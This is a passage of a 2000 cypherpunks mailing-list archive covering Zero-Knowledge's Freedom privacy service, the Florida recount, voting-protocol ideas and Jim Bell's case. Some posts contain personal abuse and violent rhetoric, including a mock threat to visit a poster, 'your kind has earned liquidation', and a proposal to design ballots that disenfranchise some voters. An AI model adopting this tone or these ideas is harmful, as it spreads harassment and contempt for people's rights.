>inside ZKS. My impression - from my own experience, from the >lack of apparent adoption by others, and from ZKS' reframing of >its business from stronger protection to weaker protection to >the new "privacy consulting" stuff is that ZKS is searching >for its niche in the marketplace, and hasn't found it yet. > >There's nothing wrong with that - look at AT&T, or the other >long distance carriers moving away from consumer services, or >the AOL/Time merger - but denying things which are readily >apparent doesn't inspire confidence. > > > To further improve our security and privacy commitment and to ensure users > > do not have to rely on or trust Zero-Knowledge's claims, we have also > > published the source code for the system, which is available at, > > > > http://opensource.zeroknowledge.com > >As far as I can tell, only the Linux client software and the Linux >kernel modules are available - but you said yourself that the >real target market is Windows. When will the Windows client be made >available for inspection? When will the other server-side software >be made available? > >(Please don't get confused between licensing terms and source code >inspection - it's very nice to make software available under GPL >or other terms; and it might well be economically or strategically >stupid to make your Windows client available under a free license - >but that doesn't mean you can't allow open audits of it for >security issues, or get an outside organization to publish the >results of a code review.) > > > We are the only privacy company that has published whitepapers on the full > > protocol, security attacks against the system, and the source code. We > > believe that this is responsible privacy, and that it is the only way to > > verify and support our claims to our users. > > > > If there is _ANY_ attack, weaknesses, flaw or security bug we have invited > > people to review our work and inform us, and we then update our > documents to > > reflect our continued understanding of how to design and implement the best > > privacy infrastructure available. > > > > Based on this, we believe we are the strongest privacy solution on the > > market. (In fact most other privacy companies claim that we are 'killing a > > fly with a bazooka' by going overboard with strong crypto and multi-hop > > routing). > >I think everyone agrees that ZKS has built the strongest commercially >available client-side privacy system. > >Again, that's not the interesting question. The interesting question is >"Is it strong enough?" > >Everyone who's looked at the question - from your accounts, inside ZKS, >and outside people - seems to agree that nobody knows, or if they know >they're not telling. > > > We have 250+ people working very hard on privacy systems, and have taken > > huge steps in making sure we are accurate in our claims, transparent in our > > systems and are delivering privacy services that we can be very proud of. > >I don't think there's any question that you folks are working hard, that >you are doing a good job of only saying true things, that you are moving >towards releasing pieces of your infrastructure for review, or that you're >providing a service equal to or better than what's currently on the market. > >It would be unfortunate if you lost sight of that. > >It would also be unfortunate if you confuse questions or concerns about >ZKS with hostility towards ZKS. If I have a weird spot on my skin and I >ask a doctor friend about it, I don't want them to tell me it's nothing >to worry about, even if it's really malignant but they don't want me >to feel bad. Similarly, if people in the cypherpunk community raise >questions about ZKS, I think it's sensible to assume that they're doing >it because they want to help ZKS, or because they want to help privacy >generally and think you may be inadvertently harming it. > > > Lucky, by claiming that we are misleading our users or not protecting their > > privacy because of the lack of resistance to traffic analysis is > > irresponsible and is allowing the best to be the enemy of the good.* > >This may be true - but your message was the first one that I've seen which >describes clearly the changes made in Freedom's design and implementation >between v1 and v2, and I'm a customer. (Not an active one, due to >configuration issues, but you've got some of my $, and didn't bother >to tell me that the traffic-analysis resistance I thought I paid for >has been eliminated because it turned out to be difficult.) > >While I greatly appreciate your candor - and am confident that your >analysis of the economics of the bandwidth required to foil traffic >analysis was correct - I do think there's perhaps some room for >improvement re keeping people up-to-date on what sort of protection >they can expect from Freedom and ZKS. > >If you are ever in the mood to update the Freedom FAQ, I suggest that >the following questions would be helpful ones to answer - > >Q: If I post a message critical of a big company using a Yahoo >forum, and the Yahoo registration data points back to my Freedom >account (email and source IP), will the big company be able to get >my personal information from you with a subpoena? > >Q: If I post a message to a mailing list which has some >source code that a big company thinks violates the DMCA, and the >big company calls the FBI, will the FBI be able to get my >personal information from you with a subpoena? > >Q: What happens if I make someone really, really angry and >they come to your offices and point guns at your employees .. >will they be able to get my personal information from you? Assume >they shoot a few people to show they're serious. Then will >you find a way to give them my personal information? What if they >take your computer equipment away from you (or one of your >participating ISP's) at gunpoint, and take it back to their >hideout for analysis. How difficult will it be for them to >get my personal information? > >-- >Greg Broiles gbroiles at netbox.com >PO Box 897 >Oakland CA 94604 From declan at well.com Sat Nov 11 11:43:00 2000 From: declan at well.com (Declan McCullagh) Date: Sat, 11 Nov 2000 14:43:00 -0500 Subject: CDR: Re: Greetins from ZOG-occupied Palestine In-Reply-To: ; from tcmay@got.net on Sat, Nov 11, 2000 at 09:05:54AM -0800 References: <200011110211.SAA13037@user3.hushmail.com> <3.0.5.32.20001111011912.00adb770@idiom.com> Message-ID: <20001111144300.C26948@cluebot.com> On Sat, Nov 11, 2000 at 09:05:54AM -0800, Tim May wrote: > Hilarious. Things are falling apart better and with more acrimony > than I'd hoped. [...snip...] > And so it goes, with recounts, judicial adjustments, do overs, and > other such things requested in dozens, then hundreds, then thousands > of counties. As much as I'd appreciate, purely from the perspective of continued amusement, this perpetual election to continue, I suspect it won't. At least some Dems are publicly telling Al to back down: http://www.perpetualelection.com/article.pl?sid=00/11/11/090229 If Al's stated litigiousness becomes perceived as a liability, we might see a kind of trip from Capitol Hill to the Naval Observatory to tell Al enough is enough. The irony is that one of the senators most tempermentally likely to do so is, of course, the Dem VP candidate. -Declan From declan at well.com Sat Nov 11 12:06:24 2000 From: declan at well.com (Declan McCullagh) Date: Sat, 11 Nov 2000 15:06:24 -0500 Subject: CDR: Re: Looking for statistically-unlikely surges in absentee ballots In-Reply-To: References: <20001111142031.D26381@cluebot.com> <20001111142031.D26381@cluebot.com> Message-ID: <4.3.0.20001111145128.02015710@mail.well.com> At 11:36 11/11/2000 -0800, Tim May wrote: >So, yes, I would say that there must obviously be other language on this. >If not, then you could have the journalistic scoop of the century, er, for >a few Not this time. Some additional research says that the federal "Uniformed and Overseas Citizens Voting Act" requires states to take special procedures for voters who are in the military overseas or: >a person who resides outside the United States and is qualified to vote in >the last place in which the person was domiciled before leaving the United >States; or >a person who resides outside the United States and (but for such >residence) would be qualified to vote in the last place in which the >person was domiciled before leaving the United States. Tourists abroad during that time need not apply. Further, state law anticipates this: http://www.leg.state.fl.us/Statutes/index.cfm?App_mode=Display_Statute&Search_String=&URL=Ch0101/SEC62.HTM&Title=->2000->Ch0101->Section%2062 As soon as the remainder of the absentee ballots are printed, the supervisor shall provide an absentee ballot to each elector by whom a request for that ballot has been made by one of the following means:... By forwardable mail to voters who are entitled to vote by absentee ballot under the Uniformed and Overseas Citizens Voting Act. -Declan From tcmay at got.net Sat Nov 11 15:21:22 2000 From: tcmay at got.net (Tim May) Date: Sat, 11 Nov 2000 15:21:22 -0800 Subject: CDR: Fwd: Candidates' Websites Blocked by CyberPatrol Message-ID: Wow, check this out. Not surprising, in retrospect. Teacher: "Johnny, why didn't you finish your research report on that candidate and his views?" Johnny: "The library computer blocked me." Teacher: "It's to save the children." > From: no_6 at bigfoot.com (Number Six) > Subject: Candidates' Websites Blocked by CyberPatrol > Date: Sat, 11 Nov 2000 23:16:57 GMT > Newsgroups: misc.survivalism,alt.survival > Message-ID: <3a0dd359.23556050 at news.rednet.co.uk> > > http://peacefire.org/blind-ballots/ > > Candidates' Websites Blocked by CyberPatrol, N2H2 > > It turns out that politicians' websites are being blocked in schools > and libraries as inappropriate for viewing by children (and, in many > cases, adults). The report, "Blind Ballots", takes a look at two dozen > candidates whose campaigns have been censored in our public schools > and libraries. One of the products blocks pretty equally across the > political spectrum; the other takes a big chunk out of Republicans, > Libertarians and conservative third parties. One Republican candidate > (so far) has changed his position on filters because of this report. > -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From declan at well.com Sat Nov 11 13:12:07 2000 From: declan at well.com (Declan McCullagh) Date: Sat, 11 Nov 2000 16:12:07 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <3.0.5.32.20001109223931.009bf460@idiom.com>; from bill.stewart@pobox.com on Thu, Nov 09, 2000 at 10:39:31PM -0800 References: <200011092258.RAA18152@www2.aa.psiweb.com> <200011092258.RAA18152@www2.aa.psiweb.com> <20001109190556.C30018@cluebot.com> <3.0.5.32.20001109223931.009bf460@idiom.com> Message-ID: <20001111161207.A28415@cluebot.com> On Thu, Nov 09, 2000 at 10:39:31PM -0800, Bill Stewart wrote: > On Thu, Nov 09, 2000 at 05:58:11PM -0500, George at orwellian.org wrote: > >> I vote you are hereby ex-communicated from the Cypherpunks club, > >> joining Dimitry Vulis. > > At 07:05 PM 11/9/00 -0500, Declan McCullagh wrote: > >Huh? Tim has been posting such articles for years. You weren't around > >for the Y2K discussions. > > George, you've got to remember not to mess with Winston Smith. > Unlike some people who need killing, yer just gonna get unpersoned.... Besides, George seems to have an unusual fixation on Vulis... -Declan From petro at bounty.org Sat Nov 11 16:19:15 2000 From: petro at bounty.org (petro) Date: Sat, 11 Nov 2000 16:19:15 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: <4.3.1.2.20001111103541.018dbf20@shell11.ba.best.com> References: <4.3.1.2.20001111103541.018dbf20@shell11.ba.best.com> Message-ID: > -- >At 03:11 PM 11/10/2000 -0800, Tim May wrote: >> Physical ballot voting has its problems, but at least people >> _understand_ the concept of marking a ballot, as opposed to >> "blinding the exponent of their elliptic curve function and then >> solving the discrete log problem for an n-out-of-m multi-round >> tournament." > >Ideally, we should organize an election so that the illiterate, the >stupid, and the drunk will generally fail to vote correctly. >Unfortunately someone would then issue the handy dandy automatic >party vote generator, and hand it out to the illiterate, the stupid, >and the drunk, adding a bottle of cheap wine when handing it out to >the drunk. The easiest way to do this would be to have the ballot books only contain numbers, and the sample ballots mailed to each (allegedly) registered voter provide the mapping from name/issue to number. Then have a *lot* more numbers on the ballot & ballot booklets than in the sample ballots. x+1 punches in the wrong hole and the entire ballot is discarded. No sample ballots available at the polling place. This would mean that to vote in a deliberate way (i.e. not punching holes at random) you would have to retain your sample ballot. Oh--and your sample ballot goes into a shredder by the door. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From declan at well.com Sat Nov 11 13:20:27 2000 From: declan at well.com (Declan McCullagh) Date: Sat, 11 Nov 2000 16:20:27 -0500 Subject: CDR: Re: Declan on Bell In-Reply-To: <200011111954.NAA49472@chao.insync.net>; from emc@chao.insync.net on Sat, Nov 11, 2000 at 11:54:44AM -0800 References: <200011111740.LAA48366@chao.insync.net> <200011111954.NAA49472@chao.insync.net> Message-ID: <20001111162026.B28415@cluebot.com> On Sat, Nov 11, 2000 at 11:54:44AM -0800, Eric Cordian wrote: > So I repeat my question. Does Jim Bell, aside from signing a statement > prepared for him by the government, in order to avoid a much longer > sentence, acknowlege annoying the IRS with unpleasant-smelling chemical > substances? A "yes" or "no" will suffice. Eric, I'm not sure, and I don't feel like wasting my Saturday afternoon doing research with little benefit. If you'd actually like to find out the answer instead of wrangling here, you might want to look at the documents that are online. Or ask Jim yourself. -Declan From lists at politechbot.com Sat Nov 11 13:21:49 2000 From: lists at politechbot.com (Declan McCullagh) Date: Sat, 11 Nov 2000 16:21:49 -0500 Subject: CDR: Re: Wired article on Jim Bell, links to search warrant and photo In-Reply-To: <4.3.0.20001111125222.00b16f00@mail.well.com>; from declan@well.com on Sat, Nov 11, 2000 at 12:52:39PM -0500 References: <4.3.0.20001111125222.00b16f00@mail.well.com> Message-ID: <20001111162149.C28415@cluebot.com> BTW I tried to get a copy of Bell's case file (including the search warrant affidavit that Jeff Gordon & co would have had to swear out) but as of midweek it was still sealed. -Declan From tcmay at got.net Sat Nov 11 16:33:01 2000 From: tcmay at got.net (Tim May) Date: Sat, 11 Nov 2000 16:33:01 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: References: <4.3.1.2.20001111103541.018dbf20@shell11.ba.best.com> Message-ID: At 4:19 PM -0800 11/11/00, petro wrote: >> -- >>At 03:11 PM 11/10/2000 -0800, Tim May wrote: >>> Physical ballot voting has its problems, but at least people >>> _understand_ the concept of marking a ballot, as opposed to >>> "blinding the exponent of their elliptic curve function and then >>> solving the discrete log problem for an n-out-of-m multi-round >>> tournament." >> >>Ideally, we should organize an election so that the illiterate, the >>stupid, and the drunk will generally fail to vote correctly. >>Unfortunately someone would then issue the handy dandy automatic >>party vote generator, and hand it out to the illiterate, the >>stupid, and the drunk, adding a bottle of cheap wine when handing >>it out to the drunk. > > The easiest way to do this would be to have the ballot books >only contain numbers, and the sample ballots mailed to each >(allegedly) registered voter provide the mapping from name/issue to >number. I did not write the paragraph you attributed to me (presumably through not-so-careful snipping). Please be more careful. If necessary, manually add a line like "James Donald said:" --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From anmetet at mixmaster.shinn.net Sat Nov 11 16:04:49 2000 From: anmetet at mixmaster.shinn.net (An Metet) Date: Sat, 11 Nov 2000 19:04:49 -0500 Subject: CDR: Public Key Infrastructure: An Artefact Ill-Fitted to the Needs of the Info Society Message-ID: <7493ee9600fdb6461465d13a71132c8d@mixmaster.shinn.net> http://www.anu.edu.au/people/Roger.Clarke/II/PKIMisFit.html From George at Orwellian.Org Sat Nov 11 16:28:17 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sat, 11 Nov 2000 19:28:17 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011120028.TAA23618@www3.aa.psiweb.com> Declan, powerful Media Mogul, wrote: # George seems to have an unusual fixation on Vulis... THAT'S NOT FUNNY. White Supremacist Tim "I'd like to see a race riot" May Moroned: # I trust more in machines for counting machine ballots than I trust in # local politicians counting machine ballots. The Republican and Democratic members of the card examiners have agreed on objective standards. o if any corner of the "chad" is broken, then it is a choice. o merely indented or even "pregnant" (sunshine) are not a choice As far as I know, two opposing choices is still an invalidated ballot White Supremacist Tim "I'd like to see a race riot" May Moroned: # The Democrat Party is just trying to steal the election. You mean Dubya is, by virtue of going into federal court to stop a state recount that is provided for under Florida law. White Supremacist Tim "I'd like to see a race riot" May Moroned: # Blood in the street is about to flow. AH HA HA HA HA! You and your "Turner Diaries" wet dreams. White Supremacist Tim "I'd like to see a race riot" May Moroned: # No wonder the Democrat Party has been trying so hard to disarm us. No wondering about your brain: it's left the planet. Hey, Tim, put your wife on the list so we can talk to the rational one. If I ever find out your real name and where you live, I'm going to come over and deal with you. I'm going to lick you. Lick, Lick, Lick, Slobber, Lickity-lick-lick-lick. Yum, stupid white trash. From petro at bounty.org Sat Nov 11 19:51:59 2000 From: petro at bounty.org (petro) Date: Sat, 11 Nov 2000 19:51:59 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: References: <4.3.1.2.20001111103541.018dbf20@shell11.ba.best.com> Message-ID: Mr. May said: >At 4:19 PM -0800 11/11/00, petro wrote: >>> -- >>>At 03:11 PM 11/10/2000 -0800, Tim May wrote: >>>> Physical ballot voting has its problems, but at least people >>>> _understand_ the concept of marking a ballot, as opposed to >>>> "blinding the exponent of their elliptic curve function and then >>>> solving the discrete log problem for an n-out-of-m multi-round >>>> tournament." >>> >>>Ideally, we should organize an election so that the illiterate, >>>the stupid, and the drunk will generally fail to vote correctly. >>>Unfortunately someone would then issue the handy dandy automatic >>>party vote generator, and hand it out to the illiterate, the >>>stupid, and the drunk, adding a bottle of cheap wine when handing >>>it out to the drunk. >> >> The easiest way to do this would be to have the ballot books >>only contain numbers, and the sample ballots mailed to each >>(allegedly) registered voter provide the mapping from name/issue to >>number. > >I did not write the paragraph you attributed to me (presumably >through not-so-careful snipping). Please be more careful. If >necessary, manually add a line like "James Donald said:" Anyone who can read a Florida Ballot, and is the least familiar with how MUAs and Newsreaders work can tell that you wrote the part with the three (now four) angle brackets (>). As to adding the wrote: sometimes I remember, sometimes I forget. I am still human, and hence not perfect. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From honig at sprynet.com Sat Nov 11 18:14:39 2000 From: honig at sprynet.com (David Honig) Date: Sat, 11 Nov 2000 21:14:39 -0500 Subject: CDR: voting ACK (was Re: Greetins from ZOG-occupied Palestine In-Reply-To: <3.0.5.32.20001111011912.00adb770@idiom.com> References: Message-ID: <3.0.6.32.20001111175400.0080f9f0@pop.sprynet.com> At 04:32 AM 11/11/00 -0500, Bill Stewart wrote: >(And apparently there _has_ been a certain amount of malfeasance >in handling the mail ballots, though it's not clear the P.O. were >directly involved. And the Postmaster General's on the >succession list, at least in the 1947 version.) > Thanks! > Bill Shouldn't the election officials post a list of the unique IDs of ballots they have received, so that you could check that the Postman didn't toss your ballot? Am I missing a privacy concern? The other method is to write someone in for some race and then check that they were recorded. From honig at sprynet.com Sat Nov 11 18:23:16 2000 From: honig at sprynet.com (David Honig) Date: Sat, 11 Nov 2000 21:23:16 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: <4.3.1.2.20001111103541.018dbf20@shell11.ba.best.com> References: Message-ID: <3.0.6.32.20001111182128.00815b60@pop.sprynet.com> At 02:22 PM 11/11/00 -0500, James A. Donald wrote: > >Ideally, we should organize an election so that the illiterate, the stupid, >and the drunk will generally fail to vote correctly. I'm told that during past Yugo elections, when the folks in charge wanted to keep turnout low, the (state-run) TV stations played pornos. From njohnson at interl.net Sat Nov 11 19:35:56 2000 From: njohnson at interl.net (Neil Johnson) Date: Sat, 11 Nov 2000 21:35:56 -0600 Subject: CDR: Re: Re: A successful lawsuit means Gore wins! References: <200011120302.WAA02899@www2.aa.psiweb.com> Message-ID: <014201c04c59$af24d1c0$0100a8c0@nandts> ----- Original Message ----- From: ># ...... The machines would not read ballots carrying > # straight-party ticket votes that also included at least one vote > # for a candidate from another party, election officials said. > # > # The machines' supplier blamed the problem on how county officials > # programmed the machines. > Yeah, but at least the machine isn't going "Two for Gore, None for Bush, Three for Gore, None for Bush" or Vice Versa. Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC From tabu_luv at yahoo.com Sat Nov 11 18:49:49 2000 From: tabu_luv at yahoo.com (tabu_luv at yahoo.com) Date: Sat, 11 Nov 2000 21:49:49 -0500 Subject: CDR: Organization Message-ID: <20001112024917.12402.qmail@mta229.mail.yahoo.com> Next time, email someone who cares. OK! -------------------- Original Message: From George at Orwellian.Org Sat Nov 11 19:02:20 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sat, 11 Nov 2000 22:02:20 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011120302.WAA02899@www2.aa.psiweb.com> A prime example of machine counting being unreliable. [New Mexico] http://foxnews.com/election_night/111000/new_mexico.sml # # The county withdrew early-voting and absentee ballots Tuesday # night after officials discovered a glitch in the computers used # to tally votes. The machines would not read ballots carrying # straight-party ticket votes that also included at least one vote # for a candidate from another party, election officials said. # # The machines' supplier blamed the problem on how county officials # programmed the machines. From tcmay at got.net Sat Nov 11 23:23:42 2000 From: tcmay at got.net (Tim May) Date: Sat, 11 Nov 2000 23:23:42 -0800 Subject: CDR: 2:15 am, Eastern Time--The Election Train Wreck Message-ID: I just watched a group of punch drunk commission members debate whether to order a _manual recount_ of all ballots in Palm Beach County. They voted 2-1, and unless this is overturned (?), they will begin planning the recount effort on Monday. The count of a sample of 1% of the votes took all of today, so the count of 100 times as many total ballots will presumably take on the order of 100 days. Perhaps they can farm it out to temps and secretaries and get it done in just several weeks. They analyzed the "chads" and counted 33 additional votes for Gore, 14 for Bush. So this would imply about 19 additional votes for Gore over Bush. Then, extrapolating to the full population, 1900 additional votes for Gore over Bush (modulo statistical fluctuations). Of course, the Republicans will have to call for a manual recount of Duval County and all of the other counties where the same statistical examination should turn up votes for THEM. What a cluster fuck. Punch drunk, dazed burrowcrats triggering this train wreck. I will not forget this week, and not forget watching this latest event live, as it happened. Kind of the the "moon landing" of political train wrecks. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From commerce at home.com Sat Nov 11 21:02:30 2000 From: commerce at home.com (Me) Date: Sun, 12 Nov 2000 00:02:30 -0500 Subject: CDR: al gore wins Message-ID: <001401c04c65$c32eb580$0100a8c0@matthew> http://www.segfault.org/story.phtml?mode=2&id=3a032731-0920f860 From alan at clueserver.org Sun Nov 12 00:04:08 2000 From: alan at clueserver.org (Alan Olsen) Date: Sun, 12 Nov 2000 00:04:08 -0800 (PST) Subject: CDR: Re: 2:15 am, Eastern Time--The Election Train Wreck In-Reply-To: Message-ID: On Sat, 11 Nov 2000, Tim May wrote: > What a cluster fuck. Punch drunk, dazed burrowcrats triggering this > train wreck. > > I will not forget this week, and not forget watching this latest > event live, as it happened. Kind of the the "moon landing" of > political train wrecks. What I don't understand is why you are not laughing your ass off! This is karma coming back to bite both parties in the ass. To favor one over the other in this mess is like supporting Tweedledum in his effort to overthrow Tweedledee. BOTH sides are wrong. Neither deserve our support and if our luck holds, they will rip each other apart like crazed weasels on crack. alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. "In the future, everything will have its 15 minutes of blame." From bjonkman at sobac.com Sat Nov 11 22:36:13 2000 From: bjonkman at sobac.com (Bob Jonkman) Date: Sun, 12 Nov 2000 01:36:13 -0500 Subject: CDR: Re: Ruling Says Parents Have Right to See List of Sites Students Visit Message-ID: <3A0DF3DB.25738.29F4AF9@localhost> I want to tell you what An Metet said about "Ruling Says Parents Have Right to S" on 11 Nov 2000, at 0:41 > In an opinion sure to heighten the tension between some parents > and school systems over the Internet's role in publicly financed > education, a New Hampshire judge has decided that a parent is > entitled to see a list of the Internet sites or addresses visited > by computer users at local schools. And so I wonder if this applies equally well to the "blocked site" lists used by blocking software that a school might use -- as a parent I want to know exactly from which sites the school is protecting my child... (and not merely the sites my child has attempted to access and been blocked from) Perhaps the blocking software companies who sell to schools and libraries may need to disclose their lists based on this decision! --Bob From petro at bounty.org Sun Nov 12 02:29:04 2000 From: petro at bounty.org (petro) Date: Sun, 12 Nov 2000 02:29:04 -0800 Subject: CDR: Re: 2:15 am, Eastern Time--The Election Train Wreck In-Reply-To: References: Message-ID: Alan: >On Sat, 11 Nov 2000, Tim May wrote: > >> What a cluster fuck. Punch drunk, dazed burrowcrats triggering this >> train wreck. >> >> I will not forget this week, and not forget watching this latest >> event live, as it happened. Kind of the the "moon landing" of >> political train wrecks. > >What I don't understand is why you are not laughing your ass off! Bush winning is bad, AlGore winning is worse. This insane infighting over the spoils is too much to stomach. It really doesn't matter which one wins, the damage is done. There is significantly less faith in the *voting* system this week than there was 7 days ago. This will mean even more trouble--more shitbags calling for "direct democracy" (hint folks, the problem isn't the electoral college it's a broken fucked up corrupt *balloting* system) more scum trying to fuck with the constitution or insisting that it be ignored. I'm not laughing because I really don't *want* to die in a fire-fight. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From George at Orwellian.Org Sun Nov 12 02:08:22 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sun, 12 Nov 2000 05:08:22 -0500 (EST) Subject: CDR: Bush Florida lead dwindles toward zero... Message-ID: <200011121008.FAA21470@www3.aa.psiweb.com> Bush actually lost votes, a very bad omen for him. Partially detached chads tend to come off during repeated runs through the tabulating machinery. This recount is occurring without a court order, it's provided for by Florida law. http://www.nytimes.com/aponline/politics/12WIRE-PALM.html # # November 12, 2000 # # Palm Beach County Orders Manual Recount of Bush-Gore Vote # # By THE ASSOCIATED PRESS # # WEST PALM BEACH, Fla. - Palm Beach County officials ordered an # extraordinary countywide recount, by hand, of the more than # 425,000 votes cast in the presidential election for Al Gore and # George W. Bush. # # Gore added 36 votes and Bush lost three in a machine recount # of Palm Beach County in Florida's disputed presidential balloting. # A hand count of selected precincts turned up enough errors in # the election night vote to prompt county election officials to # order a complete recount by hand. The vote early Saturday was # 2-1. # # "This clearly would affect the national vote," said Carol Roberts, # a county commissioner and a member of the canvassing commission. # # Election officials said their exhaustive manual recount found # numerous differences from the machine count. Roberts said the # errors point to potentially 1,900 errors county wide -- more # than the existing statewide margin between Bush and Gore. # # At stake is no less than the presidency, since Florida will # deliver 25 electoral votes. From Prius_Technical_Stuff-owner at egroups.com Sat Nov 11 21:49:20 2000 From: Prius_Technical_Stuff-owner at egroups.com (Prius_Technical_Stuff Moderator) Date: 12 Nov 2000 05:49:20 -0000 Subject: CDR: Welcome to Prius_Technical_Stuff Message-ID: <974008160.20547@egroups.com> Hello, Welcome to the Prius_Technical_Stuff group at eGroups, a free, easy-to-use email group service. Please take a moment to review this message. To start sending messages to members of this group, simply send email to Prius_Technical_Stuff at egroups.com If you do not wish to belong to Prius_Technical_Stuff, you may unsubscribe by sending an email to Prius_Technical_Stuff-unsubscribe at egroups.com You may also visit the eGroups web site to modify your subscriptions: http://www.egroups.com/mygroups Regards, Moderator, Prius_Technical_Stuff From registration at ifilm.com Sun Nov 12 07:57:49 2000 From: registration at ifilm.com (registration at ifilm.com) Date: Sun, 12 Nov 2000 07:57:49 -0800 (PST) Subject: CDR: Your IFILM registration is confirmed! Message-ID: <200011121557.HAA93141@ns1.ifilm.com> Dear cypunks, Welcome to IFILM, the Web's largest film collection and leading entertainment resource. IFILM delivers more than 10,000 Internet films, the latest Industry news and unlimited information about films, filmmaking and the film industry. * Watch, rate and review all of our films! * Check out the daily IFILM Picks! * Read the latest on the new movie releases and box-office hits! * See today's Cool Click or Web Pick! * Take a peek at the new Erotica Showcase! * Prepare yourself for Spike & Mike's Sick and Twisted Festival of Animation! * Watch a film on any of our 11 channels: Action, Animation, Comedy, Drama, Sci-fi, Thriller and more! So...what are you looking at? Questions? Let us know! Send email to info at ifilm.com IFILM (www.ifilm.com): The only place to watch every film on the Web From tcmay at got.net Sun Nov 12 08:37:07 2000 From: tcmay at got.net (Tim May) Date: Sun, 12 Nov 2000 08:37:07 -0800 Subject: CDR: Re: Bush Florida lead dwindles toward zero... In-Reply-To: <200011121008.FAA21470@www3.aa.psiweb.com> References: <200011121008.FAA21470@www3.aa.psiweb.com> Message-ID: At 5:08 AM -0500 11/12/00, George at Orwellian.Org wrote: >Bush actually lost votes, a very bad omen for him. > >Partially detached chads tend to come off during >repeated runs through the tabulating machinery. > >This recount is occurring without a court order, >it's provided for by Florida law. Vulis, you're the same commie fool you were a a couple of years ago. Your kind has earned liquidation. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From jamesd at echeque.com Sun Nov 12 09:22:59 2000 From: jamesd at echeque.com (James A. Donald) Date: Sun, 12 Nov 2000 09:22:59 -0800 Subject: CDR: Re: Declan on Bell In-Reply-To: <20001111143137.A26948@cluebot.com> References: <200011111740.LAA48366@chao.insync.net> <200011111740.LAA48366@chao.insync.net> Message-ID: <4.3.1.2.20001112091545.017349e8@shell11.ba.best.com> -- At 02:31 PM 11/11/2000 -0500, Declan McCullagh wrote: > I'm not taking a position on Bell's case. I do need to tell my > readers why was locked up earlier, and that seemed a reasonable way > to do it. Bell was not coerced into taking the plea agreement; All plea agreements are coercive. The serious charge that the prosecutor threatens the accused with necessarily has some relationship to evidence that the prosecutor possesses, or else it would not be a threat. The alternative lesser charge that the prosecutor offers need have no relationship to the evidence, and usually has no relationship. It is a mere formality. Even in non political cases, there is a strong tendency to make the lesser charge something that is wrong it itself, rather than a lesser form of the more serious charge, to make the lesser charge a crime something where police and prosecution have more support than they have for the more serious charge. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG T76DpThszKKJrrCcPnJOs48j5JDhlfDF9ZnRo3VC 4O4kvplrNHWQ1q3tJVEFxtxt18VXyP0hSmVTx5zoL From k-elliott at wiu.edu Sun Nov 12 10:57:14 2000 From: k-elliott at wiu.edu (Kevin Elliott) Date: Sun, 12 Nov 2000 12:57:14 -0600 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011120028.TAA23618@www3.aa.psiweb.com> References: <200011120028.TAA23618@www3.aa.psiweb.com> Message-ID: At 19:28 -0500 11/11/00, George at orwellian.org wrote: >If I ever find out your real name and where you live, >I'm going to come over and deal with you LOL, I believe his name is Tim May and he lives in California, somewhere around San Francisco. It's not exactly a big secret... -- "As nightfall does not come at once, neither does oppression. In both instances, there is a twilight when everything remains seemingly unchanged. And it is in such twilight that we all must be most aware of change in the air--however slight--lest we become unwitting victims of the darkness." -- Justice William O. Douglas ____________________________________________________________________ Kevin "The Cubbie" Elliott ICQ#23758827 From k-elliott at wiu.edu Sun Nov 12 11:06:34 2000 From: k-elliott at wiu.edu (Kevin Elliott) Date: Sun, 12 Nov 2000 13:06:34 -0600 Subject: CDR: Re: Close Elections and Causality In-Reply-To: <3A0BEC3F.2568B441@ccs.bbk.ac.uk> References: <3A0BEC3F.2568B441@ccs.bbk.ac.uk> Message-ID: At 12:38 +0000 11/10/00, Ken Brown wrote: >But are there no rules in Florida allowing for a re-vote? If there >really are 19,000 spoiled papers from once county, that sounds "massive" >to me. It may not be fraud - the fools who designed the papers probably >thought they were doing right - but it has the same effect. This is why people who don't know statistics should not be allowed to think... By no means is that number, by itself, of any significance whatsoever. How many got canceled last election- one number I heard said 14,000. If so then 19,000 is about what one would expect considering increased voter turnout and normal statistical fluctuations. More importantly, the ballot was approved by both parties before the election took place. If they didn't bitch then they don't have the right to bitch now. -- "As nightfall does not come at once, neither does oppression. In both instances, there is a twilight when everything remains seemingly 